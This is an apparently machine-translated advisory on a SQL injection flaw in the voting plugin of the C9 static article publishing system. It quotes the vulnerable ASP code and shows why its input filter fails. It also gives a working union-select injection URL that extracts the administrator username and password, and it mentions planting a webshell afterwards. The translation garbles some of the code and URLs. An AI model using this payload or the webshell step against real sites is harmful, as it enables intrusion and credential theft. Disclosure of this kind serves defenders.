The program named C9 static article publishing system was not carefully read. Today, I downloaded a copy and read it again. I found the problem. In voting, it was a flash voting system. I didn't understand flash, So I caught a package. I found it through add. asp submit the voting xml. asp provides rss output. When I read this article, I found a problem.
The Code is as follows: <% thisid = funstr (Trim (Request. queryString ("voteid") if thisid = "" then set rs1_conn.exe cute ("select top 1 * from plug_vote where oorc <> false order by id desc ") else set rs1_conn.exe cute ("select * from plug_vote where id =" & thisid) end if rs. eof then response. write ("connection data error"): response. end () conn.exe cute "update plug_vote set votevi = votevi + 1 where id =" & rs ("id ") for I = 1 to 5 if isnull (rs ("cs _" & I) then exit for next nowid = rs ("id ")...... %>
Here we will see how to receive the thisid = funstr (Trim (Request. queryString ("voteid") trim filters spaces on both sides and then funstr. This function contains fun/funlogic in the contained file. asp function should open this file here
Function funstr (str) str = replace (str, "<", "<", 1,-1, 1) str = replace (str, ">", "> ", 1,-1, 1) str = trim (str) str = replace (str, "'", "'") funstr = str End Function unfunstr (str) str = replace (str, "<", "<", 1,-1, 1) str = replace (str, ">", ">", 1,-1, 1) str = trim (str) str = replace (str, "'", "'") unfunstr = str End Function
This function is used to filter some characters in a string, such as <> space ". The author may think that this function can achieve the effect of anti-injection. Otherwise, the injection does not require these characters.
Http: // 127.0.0.1: 2936/plug_vote/xml. asp? Voteid = 1
Reference http: // 127.0.0.1: 2936/plug_vote/xml. asp? Voteid = 1% 20and % 201 = 2% 20 union % 20 select %, 7, username, password, 18% 20 from % 20 user % 20 where % 20id = 1
You can obtain the administrator username and password. You can use webshell in the background by uploading the user name and password. You can edit the template by checking the template URL.